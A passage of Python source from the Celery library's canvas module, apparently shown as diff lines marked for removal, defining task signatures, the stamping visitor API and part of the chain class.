import itemgetter -from types import GeneratorType - -from kombu.utils.functional import fxrange, reprcall -from kombu.utils.objects import cached_property -from kombu.utils.uuid import uuid -from vine import barrier - -from celery._state import current_app -from celery.exceptions import CPendingDeprecationWarning -from celery.result import GroupResult, allow_join_result -from celery.utils import abstract -from celery.utils.collections import ChainMap -from celery.utils.functional import _regen -from celery.utils.functional import chunks as _chunks -from celery.utils.functional import is_list, maybe_list, regen, seq_concat_item, seq_concat_seq -from celery.utils.objects import getitem_property -from celery.utils.text import remove_repeating_from_task, truncate - -__all__ = ( - 'Signature', 'chain', 'xmap', 'xstarmap', 'chunks', - 'group', 'chord', 'signature', 'maybe_signature', -) - - -def maybe_unroll_group(group): - """Unroll group with only one member. - This allows treating a group of a single task as if it - was a single task without pre-knowledge.""" - # Issue #1656 - try: - size = len(group.tasks) - except TypeError: - try: - size = group.tasks.__length_hint__() - except (AttributeError, TypeError): - return group - else: - return list(group.tasks)[0] if size == 1 else group - else: - return group.tasks[0] if size == 1 else group - - -def task_name_from(task): - return getattr(task, 'name', task) - - -def _stamp_regen_task(task, visitor, append_stamps, **headers): - """When stamping a sequence of tasks created by a generator, - we use this function to stamp each task in the generator - without exhausting it.""" - - task.stamp(visitor, append_stamps, **headers) - return task - - -def _merge_dictionaries(d1, d2, aggregate_duplicates=True): - """Merge two dictionaries recursively into the first one. - - Example: - >>> d1 = {'dict': {'a': 1}, 'list': [1, 2], 'tuple': (1, 2)} - >>> d2 = {'dict': {'b': 2}, 'list': [3, 4], 'set': {'a', 'b'}} - >>> _merge_dictionaries(d1, d2) - - d1 will be modified to: { - 'dict': {'a': 1, 'b': 2}, - 'list': [1, 2, 3, 4], - 'tuple': (1, 2), - 'set': {'a', 'b'} - } - - Arguments: - d1 (dict): Dictionary to merge into. - d2 (dict): Dictionary to merge from. - aggregate_duplicates (bool): - If True, aggregate duplicated items (by key) into a list of all values in d1 in the same key. - If False, duplicate keys will be taken from d2 and override the value in d1. - """ - if not d2: - return - - for key, value in d1.items(): - if key in d2: - if isinstance(value, dict): - _merge_dictionaries(d1[key], d2[key]) - else: - if isinstance(value, (int, float, str)): - d1[key] = [value] if aggregate_duplicates else value - if isinstance(d2[key], list) and isinstance(d1[key], list): - d1[key].extend(d2[key]) - elif aggregate_duplicates: - if d1[key] is None: - d1[key] = [] - else: - d1[key] = list(d1[key]) - d1[key].append(d2[key]) - for key, value in d2.items(): - if key not in d1: - d1[key] = value - - -class StampingVisitor(metaclass=ABCMeta): - """Stamping API. A class that provides a stamping API possibility for - canvas primitives. If you want to implement stamping behavior for - a canvas primitive override method that represents it. - """ - - def on_group_start(self, group, **headers) -> dict: - """Method that is called on group stamping start. - - Arguments: - group (group): Group that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_group_end(self, group, **headers) -> None: - """Method that is called on group stamping end. - - Arguments: - group (group): Group that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - """ - pass - - def on_chain_start(self, chain, **headers) -> dict: - """Method that is called on chain stamping start. - - Arguments: - chain (chain): Chain that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_chain_end(self, chain, **headers) -> None: - """Method that is called on chain stamping end. - - Arguments: - chain (chain): Chain that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - """ - pass - - @abstractmethod - def on_signature(self, sig, **headers) -> dict: - """Method that is called on signature stamping. - - Arguments: - sig (Signature): Signature that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - - def on_chord_header_start(self, sig, **header) -> dict: - """Method that is called on сhord header stamping start. - - Arguments: - sig (chord): chord that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - if not isinstance(sig.tasks, group): - sig.tasks = group(sig.tasks) - return self.on_group_start(sig.tasks, **header) - - def on_chord_header_end(self, sig, **header) -> None: - """Method that is called on сhord header stamping end. - - Arguments: - sig (chord): chord that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - """ - self.on_group_end(sig.tasks, **header) - - def on_chord_body(self, sig, **header) -> dict: - """Method that is called on chord body stamping. - - Arguments: - sig (chord): chord that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_callback(self, callback, **header) -> dict: - """Method that is called on callback stamping. - - Arguments: - callback (Signature): callback that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_errback(self, errback, **header) -> dict: - """Method that is called on errback stamping. - - Arguments: - errback (Signature): errback that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - -@abstract.CallableSignature.register -class Signature(dict): - """Task Signature. - - Class that wraps the arguments and execution options - for a single task invocation. - - Used as the parts in a :class:`group` and other constructs, - or to pass tasks around as callbacks while being compatible - with serializers with a strict type subset. - - Signatures can also be created from tasks: - - - Using the ``.signature()`` method that has the same signature - as ``Task.apply_async``: - - .. code-block:: pycon - - >>> add.signature(args=(1,), kwargs={'kw': 2}, options={}) - - - or the ``.s()`` shortcut that works for star arguments: - - .. code-block:: pycon - - >>> add.s(1, kw=2) - - - the ``.s()`` shortcut does not allow you to specify execution options - but there's a chaining `.set` method that returns the signature: - - .. code-block:: pycon - - >>> add.s(2, 2).set(countdown=10).set(expires=30).delay() - - Note: - You should use :func:`~celery.signature` to create new signatures. - The ``Signature`` class is the type returned by that function and - should be used for ``isinstance`` checks for signatures. - - See Also: - :ref:`guide-canvas` for the complete guide. - - Arguments: - task (Union[Type[celery.app.task.Task], str]): Either a task - class/instance, or the name of a task. - args (Tuple): Positional arguments to apply. - kwargs (Dict): Keyword arguments to apply. - options (Dict): Additional options to :meth:`Task.apply_async`. - - Note: - If the first argument is a :class:`dict`, the other - arguments will be ignored and the values in the dict will be used - instead:: - - >>> s = signature('tasks.add', args=(2, 2)) - >>> signature(s) - {'task': 'tasks.add', args=(2, 2), kwargs={}, options={}} - """ - - TYPES = {} - _app = _type = None - # The following fields must not be changed during freezing/merging because - # to do so would disrupt completion of parent tasks - _IMMUTABLE_OPTIONS = {"group_id", "stamped_headers"} - - @classmethod - def register_type(cls, name=None): - """Register a new type of signature. - Used as a class decorator, for example: - >>> @Signature.register_type() - >>> class mysig(Signature): - >>> pass - """ - def _inner(subclass): - cls.TYPES[name or subclass.__name__] = subclass - return subclass - - return _inner - - @classmethod - def from_dict(cls, d, app=None): - """Create a new signature from a dict. - Subclasses can override this method to customize how are - they created from a dict. - """ - typ = d.get('subtask_type') - if typ: - target_cls = cls.TYPES[typ] - if target_cls is not cls: - return target_cls.from_dict(d, app=app) - return Signature(d, app=app) - - def __init__(self, task=None, args=None, kwargs=None, options=None, - type=None, subtask_type=None, immutable=False, - app=None, **ex): - self._app = app - - if isinstance(task, dict): - super().__init__(task) # works like dict(d) - else: - # Also supports using task class/instance instead of string name. - try: - task_name = task.name - except AttributeError: - task_name = task - else: - self._type = task - - super().__init__( - task=task_name, args=tuple(args or ()), - kwargs=kwargs or {}, - options=dict(options or {}, **ex), - subtask_type=subtask_type, - immutable=immutable, - ) - - def __call__(self, *partial_args, **partial_kwargs): - """Call the task directly (in the current process).""" - args, kwargs, _ = self._merge(partial_args, partial_kwargs, None) - return self.type(*args, **kwargs) - - def delay(self, *partial_args, **partial_kwargs): - """Shortcut to :meth:`apply_async` using star arguments.""" - return self.apply_async(partial_args, partial_kwargs) - - def apply(self, args=None, kwargs=None, **options): - """Call task locally. - - Same as :meth:`apply_async` but executed the task inline instead - of sending a task message. - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - # Extra options set to None are dismissed - options = {k: v for k, v in options.items() if v is not None} - # For callbacks: extra args are prepended to the stored args. - args, kwargs, options = self._merge(args, kwargs, options) - return self.type.apply(args, kwargs, **options) - - def apply_async(self, args=None, kwargs=None, route_name=None, **options): - """Apply this task asynchronously. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - options (Dict): Partial options to be merged - with existing options. - - Returns: - ~@AsyncResult: promise of future evaluation. - - See also: - :meth:`~@Task.apply_async` and the :ref:`guide-calling` guide. - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - # Extra options set to None are dismissed - options = {k: v for k, v in options.items() if v is not None} - try: - _apply = self._apply_async - except IndexError: # pragma: no cover - # no tasks for chain, etc to find type - return - # For callbacks: extra args are prepended to the stored args. - if args or kwargs or options: - args, kwargs, options = self._merge(args, kwargs, options) - else: - args, kwargs, options = self.args, self.kwargs, self.options - # pylint: disable=too-many-function-args - # Works on this, as it's a property - return _apply(args, kwargs, **options) - - def _merge(self, args=None, kwargs=None, options=None, force=False): - """Merge partial args/kwargs/options with existing ones. - - If the signature is immutable and ``force`` is False, the existing - args/kwargs will be returned as-is and only the options will be merged. - - Stamped headers are considered immutable and will not be merged regardless. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - options (Dict): Partial options to be merged with existing options. - force (bool): If True, the args/kwargs will be merged even if the signature is - immutable. The stamped headers are not affected by this option and will not - be merged regardless. - - Returns: - Tuple: (args, kwargs, options) - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - if options is not None: - # We build a new options dictionary where values in `options` - # override values in `self.options` except for keys which are - # noted as being immutable (unrelated to signature immutability) - # implying that allowing their value to change would stall tasks - immutable_options = self._IMMUTABLE_OPTIONS - if "stamped_headers" in self.options: - immutable_options = self._IMMUTABLE_OPTIONS.union(set(self.options.get("stamped_headers", []))) - # merge self.options with options without overriding stamped headers from self.options - new_options = {**self.options, **{ - k: v for k, v in options.items() - if k not in immutable_options or k not in self.options - }} - else: - new_options = self.options - if self.immutable and not force: - return (self.args, self.kwargs, new_options) - return (tuple(args) + tuple(self.args) if args else self.args, - dict(self.kwargs, **kwargs) if kwargs else self.kwargs, - new_options) - - def clone(self, args=None, kwargs=None, **opts): - """Create a copy of this signature. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - options (Dict): Partial options to be merged with - existing options. - """ - args = args if args else () - kwargs = kwargs if kwargs else {} - # need to deepcopy options so origins links etc. is not modified. - if args or kwargs or opts: - args, kwargs, opts = self._merge(args, kwargs, opts) - else: - args, kwargs, opts = self.args, self.kwargs, self.options - signature = Signature.from_dict({'task': self.task, - 'args': tuple(args), - 'kwargs': kwargs, - 'options': deepcopy(opts), - 'subtask_type': self.subtask_type, - 'immutable': self.immutable}, - app=self._app) - signature._type = self._type - return signature - - partial = clone - - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - """Finalize the signature by adding a concrete task id. - - The task won't be called and you shouldn't call the signature - twice after freezing it as that'll result in two task messages - using the same task id. - - The arguments are used to override the signature's headers during - freezing. - - Arguments: - _id (str): Task id to use if it didn't already have one. - New UUID is generated if not provided. - group_id (str): Group id to use if it didn't already have one. - chord (Signature): Chord body when freezing a chord header. - root_id (str): Root id to use. - parent_id (str): Parent id to use. - group_index (int): Group index to use. - - Returns: - ~@AsyncResult: promise of future evaluation. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - opts = self.options - try: - # if there is already an id for this task, return it - tid = opts['task_id'] - except KeyError: - # otherwise, use the _id sent to this function, falling back on a generated UUID - tid = opts['task_id'] = _id or uuid() - if root_id: - opts['root_id'] = root_id - if parent_id: - opts['parent_id'] = parent_id - if 'reply_to' not in opts: - # fall back on unique ID for this thread in the app - opts['reply_to'] = self.app.thread_oid - if group_id and "group_id" not in opts: - opts['group_id'] = group_id - if chord: - opts['chord'] = chord - if group_index is not None: - opts['group_index'] = group_index - # pylint: disable=too-many-function-args - # Works on this, as it's a property. - return self.AsyncResult(tid) - - _freeze = freeze - - def replace(self, args=None, kwargs=None, options=None): - """Replace the args, kwargs or options set for this signature. - - These are only replaced if the argument for the section is - not :const:`None`. - """ - signature = self.clone() - if args is not None: - signature.args = args - if kwargs is not None: - signature.kwargs = kwargs - if options is not None: - signature.options = options - return signature - - def set(self, immutable=None, **options): - """Set arbitrary execution options (same as ``.options.update(…)``). - - Returns: - Signature: This is a chaining method call - (i.e., it will return ``self``). - """ - if immutable is not None: - self.set_immutable(immutable) - self.options.update(options) - return self - - def set_immutable(self, immutable): - self.immutable = immutable - - def _stamp_headers(self, visitor_headers=None, append_stamps=False, self_headers=True, **headers): - """Collect all stamps from visitor, headers and self, - and return an idempotent dictionary of stamps. - - .. versionadded:: 5.3 - - Arguments: - visitor_headers (Dict): Stamps from a visitor method. - append_stamps (bool): - If True, duplicated stamps will be appended to a list. - If False, duplicated stamps will be replaced by the last stamp. - self_headers (bool): - If True, stamps from self.options will be added. - If False, stamps from self.options will be ignored. - headers (Dict): Stamps that should be added to headers. - - Returns: - Dict: Merged stamps. - """ - # Use append_stamps=False to prioritize visitor_headers over headers in case of duplicated stamps. - # This will lose duplicated headers from the headers argument, but that is the best effort solution - # to avoid implicitly casting the duplicated stamp into a list of both stamps from headers and - # visitor_headers of the same key. - # Example: - # headers = {"foo": "bar1"} - # visitor_headers = {"foo": "bar2"} - # _merge_dictionaries(headers, visitor_headers, aggregate_duplicates=True) - # headers["foo"] == ["bar1", "bar2"] -> The stamp is now a list - # _merge_dictionaries(headers, visitor_headers, aggregate_duplicates=False) - # headers["foo"] == "bar2" -> "bar1" is lost, but the stamp is according to the visitor - - headers = headers.copy() - - if "stamped_headers" not in headers: - headers["stamped_headers"] = list(headers.keys()) - - # Merge headers with visitor headers - if visitor_headers is not None: - visitor_headers = visitor_headers or {} - if "stamped_headers" not in visitor_headers: - visitor_headers["stamped_headers"] = list(visitor_headers.keys()) - - # Sync from visitor - _merge_dictionaries(headers, visitor_headers, aggregate_duplicates=append_stamps) - headers["stamped_headers"] = list(set(headers["stamped_headers"])) - - # Merge headers with self.options - if self_headers: - stamped_headers = set(headers.get("stamped_headers", [])) - stamped_headers.update(self.options.get("stamped_headers", [])) - headers["stamped_headers"] = list(stamped_headers) - # Only merge stamps that are in stamped_headers from self.options - redacted_options = {k: v for k, v in self.options.items() if k in headers["stamped_headers"]} - - # Sync from self.options - _merge_dictionaries(headers, redacted_options, aggregate_duplicates=append_stamps) - headers["stamped_headers"] = list(set(headers["stamped_headers"])) - - return headers - - def stamp(self, visitor=None, append_stamps=False, **headers): - """Stamp this signature with additional custom headers. - Using a visitor will pass on responsibility for the stamping - to the visitor. - - .. versionadded:: 5.3 - - Arguments: - visitor (StampingVisitor): Visitor API object. - append_stamps (bool): - If True, duplicated stamps will be appended to a list. - If False, duplicated stamps will be replaced by the last stamp. - headers (Dict): Stamps that should be added to headers. - """ - self.stamp_links(visitor, append_stamps, **headers) - headers = headers.copy() - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_signature(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - return self.set(**headers) - - def stamp_links(self, visitor, append_stamps=False, **headers): - """Stamp this signature links (callbacks and errbacks). - Using a visitor will pass on responsibility for the stamping - to the visitor. - - Arguments: - visitor (StampingVisitor): Visitor API object. - append_stamps (bool): - If True, duplicated stamps will be appended to a list. - If False, duplicated stamps will be replaced by the last stamp. - headers (Dict): Stamps that should be added to headers. - """ - non_visitor_headers = headers.copy() - - # When we are stamping links, we want to avoid adding stamps from the linked signature itself - # so we turn off self_headers to stamp the link only with the visitor and the headers. - # If it's enabled, the link copies the stamps of the linked signature, and we don't want that. - self_headers = False - - # Stamp all of the callbacks of this signature - headers = deepcopy(non_visitor_headers) - for link in maybe_list(self.options.get('link')) or []: - link = maybe_signature(link, app=self.app) - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_callback(link, **headers) or {} - headers = self._stamp_headers( - visitor_headers=visitor_headers, - append_stamps=append_stamps, - self_headers=self_headers, - **headers - ) - link.stamp(visitor, append_stamps, **headers) - - # Stamp all of the errbacks of this signature - headers = deepcopy(non_visitor_headers) - for link in maybe_list(self.options.get('link_error')) or []: - link = maybe_signature(link, app=self.app) - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_errback(link, **headers) or {} - headers = self._stamp_headers( - visitor_headers=visitor_headers, - append_stamps=append_stamps, - self_headers=self_headers, - **headers - ) - link.stamp(visitor, append_stamps, **headers) - - def _with_list_option(self, key): - """Gets the value at the given self.options[key] as a list. - - If the value is not a list, it will be converted to one and saved in self.options. - If the key does not exist, an empty list will be set and returned instead. - - Arguments: - key (str): The key to get the value for. - - Returns: - List: The value at the given key as a list or an empty list if the key does not exist. - """ - items = self.options.setdefault(key, []) - if not isinstance(items, MutableSequence): - items = self.options[key] = [items] - return items - - def append_to_list_option(self, key, value): - """Appends the given value to the list at the given key in self.options.""" - items = self._with_list_option(key) - if value not in items: - items.append(value) - return value - - def extend_list_option(self, key, value): - """Extends the list at the given key in self.options with the given value. - - If the value is not a list, it will be converted to one. - """ - items = self._with_list_option(key) - items.extend(maybe_list(value)) - - def link(self, callback): - """Add callback task to be applied if this task succeeds. - - Returns: - Signature: the argument passed, for chaining - or use with :func:`~functools.reduce`. - """ - return self.append_to_list_option('link', callback) - - def link_error(self, errback): - """Add callback task to be applied on error in task execution. - - Returns: - Signature: the argument passed, for chaining - or use with :func:`~functools.reduce`. - """ - return self.append_to_list_option('link_error', errback) - - def on_error(self, errback): - """Version of :meth:`link_error` that supports chaining. - - on_error chains the original signature, not the errback so:: - - >>> add.s(2, 2).on_error(errback.s()).delay() - - calls the ``add`` task, not the ``errback`` task, but the - reverse is true for :meth:`link_error`. - """ - self.link_error(errback) - return self - - def flatten_links(self): - """Return a recursive list of dependencies. - - "unchain" if you will, but with links intact. - """ - return list(itertools.chain.from_iterable(itertools.chain( - [[self]], - (link.flatten_links() - for link in maybe_list(self.options.get('link')) or []) - ))) - - def __or__(self, other): - """Chaining operator. - - Example: - >>> add.s(2, 2) | add.s(4) | add.s(8) - - Returns: - chain: Constructs a :class:`~celery.canvas.chain` of the given signatures. - """ - if isinstance(other, _chain): - # task | chain -> chain - return _chain(seq_concat_seq( - (self,), other.unchain_tasks()), app=self._app) - elif isinstance(other, group): - # unroll group with one member - other = maybe_unroll_group(other) - # task | group() -> chain - return _chain(self, other, app=self.app) - elif isinstance(other, Signature): - # task | task -> chain - return _chain(self, other, app=self._app) - return NotImplemented - - def __ior__(self, other): - # Python 3.9 introduces | as the merge operator for dicts. - # We override the in-place version of that operator - # so that canvases continue to work as they did before. - return self.__or__(other) - - def election(self): - type = self.type - app = type.app - tid = self.options.get('task_id') or uuid() - - with app.producer_or_acquire(None) as producer: - props = type.backend.on_task_call(producer, tid) - app.control.election(tid, 'task', - self.clone(task_id=tid, **props), - connection=producer.connection) - return type.AsyncResult(tid) - - def reprcall(self, *args, **kwargs): - """Return a string representation of the signature. - - Merges the given arguments with the signature's arguments - only for the purpose of generating the string representation. - The signature itself is not modified. - - Example: - >>> add.s(2, 2).reprcall() - 'add(2, 2)' - """ - args, kwargs, _ = self._merge(args, kwargs, {}, force=True) - return reprcall(self['task'], args, kwargs) - - def __deepcopy__(self, memo): - memo[id(self)] = self - return dict(self) # TODO: Potential bug of being a shallow copy - - def __invert__(self): - return self.apply_async().get() - - def __reduce__(self): - # for serialization, the task type is lazily loaded, - # and not stored in the dict itself. - return signature, (dict(self),) - - def __json__(self): - return dict(self) - - def __repr__(self): - return self.reprcall() - - def items(self): - for k, v in super().items(): - yield k.decode() if isinstance(k, bytes) else k, v - - @property - def name(self): - # for duck typing compatibility with Task.name - return self.task - - @cached_property - def type(self): - return self._type or self.app.tasks[self['task']] - - @cached_property - def app(self): - return self._app or current_app - - @cached_property - def AsyncResult(self): - try: - return self.type.AsyncResult - except KeyError: # task not registered - return self.app.AsyncResult - - @cached_property - def _apply_async(self): - try: - return self.type.apply_async - except KeyError: - return _partial(self.app.send_task, self['task']) - - id = getitem_property('options.task_id', 'Task UUID') - parent_id = getitem_property('options.parent_id', 'Task parent UUID.') - root_id = getitem_property('options.root_id', 'Task root UUID.') - task = getitem_property('task', 'Name of task.') - args = getitem_property('args', 'Positional arguments to task.') - kwargs = getitem_property('kwargs', 'Keyword arguments to task.') - options = getitem_property('options', 'Task execution options.') - subtask_type = getitem_property('subtask_type', 'Type of signature') - immutable = getitem_property( - 'immutable', 'Flag set if no longer accepts new arguments') - - -def _prepare_chain_from_options(options, tasks, use_link): - # When we publish groups we reuse the same options dictionary for all of - # the tasks in the group. See: - # https://github.com/celery/celery/blob/fb37cb0b8/celery/canvas.py#L1022. - # Issue #5354 reported that the following type of canvases - # causes a Celery worker to hang: - # group( - # add.s(1, 1), - # add.s(1, 1) - # ) | tsum.s() | add.s(1) | group(add.s(1), add.s(1)) - # The resolution of #5354 in PR #5681 was to only set the `chain` key - # in the options dictionary if it is not present. - # Otherwise we extend the existing list of tasks in the chain with the new - # tasks: options['chain'].extend(chain_). - # Before PR #5681 we overrode the `chain` key in each iteration - # of the loop which applies all the tasks in the group: - # options['chain'] = tasks if not use_link else None - # This caused Celery to execute chains correctly in most cases since - # in each iteration the `chain` key would reset itself to a new value - # and the side effect of mutating the key did not propagate - # to the next task in the group. - # Since we now mutated the `chain` key, a *list* which is passed - # by *reference*, the next task in the group will extend the list - # of tasks in the chain instead of setting a new one from the chain_ - # variable above. - # This causes Celery to execute a chain, even though there might not be - # one to begin with. Alternatively, it causes Celery to execute more tasks - # that were previously present in the previous task in the group. - # The solution is to be careful and never mutate the options dictionary - # to begin with. - # Here is an example of a canvas which triggers this issue: - # add.s(5, 6) | group((add.s(1) | add.s(2), add.s(3))). - # The expected result is [14, 14]. However, when we extend the `chain` - # key the `add.s(3)` task erroneously has `add.s(2)` in its chain since - # it was previously applied to `add.s(1)`. - # Without being careful not to mutate the options dictionary, the result - # in this case is [16, 14]. - # To avoid deep-copying the entire options dictionary every single time we - # run a chain we use a ChainMap and ensure that we never mutate - # the original `chain` key, hence we use list_a + list_b to create a new - # list. - if use_link: - return ChainMap({'chain': None}, options) - elif 'chain' not in options: - return ChainMap({'chain': tasks}, options) - elif tasks is not None: - # chain option may already be set, resulting in - # "multiple values for keyword argument 'chain'" error. - # Issue #3379. - # If a chain already exists, we need to extend it with the next - # tasks in the chain. - # Issue #5354. - # WARNING: Be careful not to mutate `options['chain']`. - return ChainMap({'chain': options['chain'] + tasks}, - options) - - -@Signature.register_type(name='chain') -class _chain(Signature): - tasks = getitem_property('kwargs.tasks', 'Tasks in chain.') - - @classmethod - def from_dict(cls, d, app=None): - tasks = d['kwargs']['tasks'] - if tasks: - if isinstance(tasks, tuple): # aaaargh - tasks = d['kwargs']['tasks'] = list(tasks) - tasks = [maybe_signature(task, app=app) for task in tasks] - return cls(tasks, app=app, **d['options']) - - def __init__(self, *tasks, **options): - tasks = (regen(tasks[0]) if len(tasks) == 1 and is_list(tasks[0]) - else tasks) - super().__init__('celery.chain', (), {'tasks': tasks}, **options - ) - self._use_link = options.pop('use_link', None) - self.subtask_type = 'chain' - self._frozen = None - - def __call__(self, *args, **kwargs): - if self.tasks: - return self.apply_async(args, kwargs) - - def __or__(self, other): - if isinstance(other, group): - # unroll group with one member - other = maybe_unroll_group(other) - if not isinstance(other, group): - return self.__or__(other) - # chain | group() -> chain - tasks = self.unchain_tasks() - if not tasks: - # If the chain is empty, return the group - return other - if isinstance(tasks[-1], chord): - # CHAIN [last item is chord] | GROUP -> chain with chord body. - tasks[-1].body = tasks[-1].body | other - return type(self)(tasks, app=self.app) - # use type(self) for _chain subclasses - return type(self)(seq_concat_item( - tasks, other), app=self._app) - elif isinstance(other, _chain): - # chain | chain -> chain - return reduce(operator.or_, other.unchain_tasks(), self) - elif isinstance(other, Signature): - if self.tasks and isinstance(self.tasks[-1], group): - # CHAIN [last item is group] | TASK -> chord - sig = self.clone() - sig.tasks[-1] = chord( - sig.tasks[-1], other, app=self._app) - # In the scenario where the second-to-last item in a chain is a chord, - # it leads to a situation where two consecutive chords are formed. - # In such cases, a further upgrade can be considered. - # This would involve chaining the body of the second-to-last chord with the last chord." - if len(sig.tasks) > 1 and isinstance(sig.tasks[-2], chord): - sig.tasks[-2].body = sig.tasks[-2].body | sig.tasks[-1] - sig.tasks = sig.tasks[:-1] - return sig - elif self.tasks and isinstance(self.tasks[-1], chord): - # CHAIN [last item is chord] -> chain with chord body. - sig = self.clone() - sig.tasks[-1].body = sig.tasks[-1].body | other - return sig - else: - # chain | task -> chain - # use type(self) for _chain subclasses - return type(self)(seq_concat_item( - self.unchain_tasks(), other), app=self._app) - else: - return NotImplemented - - def clone(self, *args, **kwargs): - to_signature = maybe_signature - signature = super().clone(*args, **kwargs) - signature.kwargs['tasks'] = [ - to_signature(sig, app=self._app, clone=True) - for sig in signature.kwargs['tasks'] - ] - return signature - - def unchain_tasks(self): - """Return a list of tasks in the chain. - - The tasks list would be cloned from the chain's tasks. - All of the chain callbacks would be added to the last task in the (cloned) chain. - All of the tasks would be linked to the same error callback - as the chain itself, to ensure that the correct error callback is called - if any of the (cloned) tasks of the chain fail. - """ - # Clone chain's tasks assigning signatures from link_error - # to each task and adding the chain's links to the last task. - tasks = [t.clone() for t in self.tasks] - for sig in maybe_list(self.options.get('link')) or []: - tasks[-1].link(sig) - for sig in maybe_list(self.options.get('link_error')) or []: - for task in tasks: - task.link_error(sig) - return tasks - - def apply_async(self, args=None, kwargs=None, **options): - # python is best at unpacking kwargs, so .run is here to do that. - args = args if args else () - kwargs = kwargs if kwargs else [] - app = self.app - - if app.conf.task_always_eager: - with allow_join_result(): - return self.apply(args, kwargs, **options) - return self.run(args, kwargs, app=app, **( - dict(self.options, **options) if options else self.options)) - - def run(self, args=None, kwargs=None, group_id=None, chord=None, - task_id=None, link=None, link_error=None, publisher=None, - producer=None, root_id=None, parent_id=None, app=None, - group_index=None, **options): - """Executes the chain. - - Responsible for executing the chain in the correct order. - In a case of a chain of a single task, the task is executed directly - and the result is returned for that task specifically. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - args = args if args else () - kwargs = kwargs if kwargs else [] - app = app or self.app - use_link = self._use_link - if use_link is None and app.conf.task_protocol == 1: - use_link = True - args = (tuple(args) + tuple(self.args) - if args and not self.immutable else self.args) - - # Unpack nested chains/groups/chords - tasks, results_from_prepare = self.prepare_steps( - args, kwargs, self.tasks, root_id, parent_id, link_error, app, - task_id, group_id, chord, group_index=group_index, - ) - - # For a chain of single task, execute the task directly and return the result for that task - # For a chain of multiple tasks, execute all of the tasks and return the AsyncResult for the chain - if results_from_prepare: - if link: - tasks[0].extend_list_option('link', link) - first_task = tasks.pop() - options = _prepare_chain_from_options(options, tasks, use_link) - - result_from_apply = first_task.apply_async(**options) - # If we only have a single task, it may be important that we pass - # the real result object rather than the one obtained via freezing. - # e.g. For `GroupResult`s, we need to pass back the result object - # which will actually have its promise fulfilled by the subtasks, - # something that will never occur for the frozen result. - if not tasks: - return result_from_apply - else: - return results_from_prepare[0] - - # in order for a chain to be frozen, each of the members of the chain individually needs to be frozen - # TODO figure out why we are always cloning before freeze - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - _, results = self._frozen = self.prepare_steps( - self.args, self.kwargs, self.tasks, root_id, parent_id, None, - self.app, _id, group_id, chord, clone=False, - group_index=group_index, - ) - return results[0] - - def stamp(self, visitor=None, append_stamps=False, **headers): - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_chain_start(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.stamp_links(visitor, **headers) - - for task in self.tasks: - task.stamp(visitor, append_stamps, **headers) - - if visitor is not None: - visitor.on_chain_end(self, **headers) - - def prepare_steps(self, args, kwargs, tasks, - root_id=None, parent_id=None, link_error=None, app=None, - last_task_id=None, group_id=None, chord_body=None, - clone=True, from_dict=Signature.from_dict, - group_index=None): - """Prepare the chain for execution. - - To execute a chain, we first need to unpack it correctly. - During the unpacking, we might encounter other chains, groups, or chords - which we need to unpack as well. - - For example: - chain(signature1, chain(signature2, signature3)) --> Upgrades to chain(signature1, signature2, signature3) - chain(group(signature1, signature2), signature3) --> Upgrades to chord([signature1, signature2], signature3) - - The responsibility of this method is to ensure that the chain is - correctly unpacked, and then the correct callbacks are set up along the way. - - Arguments: - args (Tuple): Partial args to be prepended to the existing args. - kwargs (Dict): Partial kwargs to be merged with existing kwargs. - tasks (List[Signature]): The tasks of the chain. - root_id (str): The id of the root task. - parent_id (str): The id of the parent task. - link_error (Union[List[Signature], Signature]): The error callback. - will be set for all tasks in the chain. - app (Celery): The Celery app instance. - last_task_id (str): The id of the last task in the chain. - group_id (str): The id of the group that the chain is a part of. - chord_body (Signature): The body of the chord, used to synchronize with the chain's - last task and the chord's body when used together. - clone (bool): Whether to clone the chain's tasks before modifying them. - from_dict (Callable): A function that takes a dict and returns a Signature. - - Returns: - Tuple[List[Signature], List[AsyncResult]]: The frozen tasks of the chain, and the async results - """ - app = app or self.app - # use chain message field for protocol 2 and later. - # this avoids pickle blowing the stack on the recursion - # required by linking task together in a tree structure. - # (why is pickle using recursion? or better yet why cannot python - # do tail call optimization making recursion actually useful?) - use_link = self._use_link - if use_link is None and app.conf.task_protocol == 1: - use_link = True - steps = deque(tasks) - - # optimization: now the pop func is a local variable - steps_pop = steps.pop - steps_extend = steps.extend - - prev_task = None - prev_res = None - tasks, results = [], [] - i = 0 - # NOTE: We are doing this in reverse order. - # The result is a list of tasks in reverse order, that is - # passed as the ``chain`` message field. - # As it's reversed the worker can just do ``chain.pop()`` to - # get the next task in the chain. - while steps: - task = steps_pop() - # 